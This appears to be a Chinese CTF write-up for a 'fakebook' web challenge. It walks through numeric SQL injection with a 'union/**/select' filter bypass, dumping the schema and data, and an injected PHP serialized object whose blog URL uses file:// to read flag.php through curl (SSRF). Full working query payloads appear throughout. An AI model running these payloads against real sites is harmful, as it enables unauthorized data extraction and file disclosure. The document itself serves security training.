首先测试网站的功能,当我注册一个账号时,发现这里的链接:
点进去看到URL:
感觉no这个地方可以尝试一下sql注入

推测应该是数字型注入

发现果然可以进行sql注入, 最终测得列数应该是4列,但当我尝试sql注入时,发现有过滤:
在绕过的同时,我开始扫目录。判断过滤的时候,我猜测是对传入no参数的值进行检验,当我单独传入 union 或者 select 的时候,都只会显示语法错误,而当我传入union select 时,才会显示hack:
于是猜测这里应该是对 union select 整体的一个绕过,如果使用 union/**/select ,发现可以绕过

此外,发现了一个函数 unserilize(),先放在这,至少可以看到回显处:2
?no=-1 union/**/select 1,database(),3,4 --
得到库名 fakebook
?no=-1 union/**/select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3,4--
得到表名 users
?no=-1 union/**/select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='users'),3,4--
得到字段名: no username passwd data
?no=-1 union/**/select 1,(select group_concat('~',data)from fakebook.users),3,4 --
得到data值
~O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},
到这一步有什么用呢?暂时没什么头绪。
之前扫描目录的结果也拿到了,发现有很多可以访问的文件:
首先看 robots.txt 文件:

可以看到有一个压缩文件,访问该文件可以下载到源码:
php
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age =(int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch); # 执行一个curl请求
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);# 注意这个地方,使用get函数的是blog
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现这里有 curl ,可执行请求并返回响应内容,这里我想到的就是搭配file://进行读取了,还有一个原因是:当我访问flag.php、db.php等等,发现返回的内容都为空,但这里应该就是flag.php!
其次,发现上面使用get函数的是 blog ,也就是说我们需要通过blog来发起请求:
blog:file:///var/www/html/flag.php
怎么传呢?回忆一下我们之前得到的字段顺序,分别为:no username passwd data
而我们正是读取了data的值,data返回一段序列化信息,但又显示有反序列化函数unserilize。如果直接使用data传入序列化字符串,是不是就能经反序列化函数解析为UserInfo对象,从而读取该对象的blog值,执行请求并返回响应内容呢!于是可以这样构造:
直接利用我们之前得到的序列化字符串:
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},
将其稍微修改:
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";},
然后就可以构造请求了,我们要传入第四个字段data的值,所以这样构造:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

成功修改blog的值! 且此时也应该使用curl发起请求返回响应内容了,查看源代码得:
点击进去直接可以得到flag
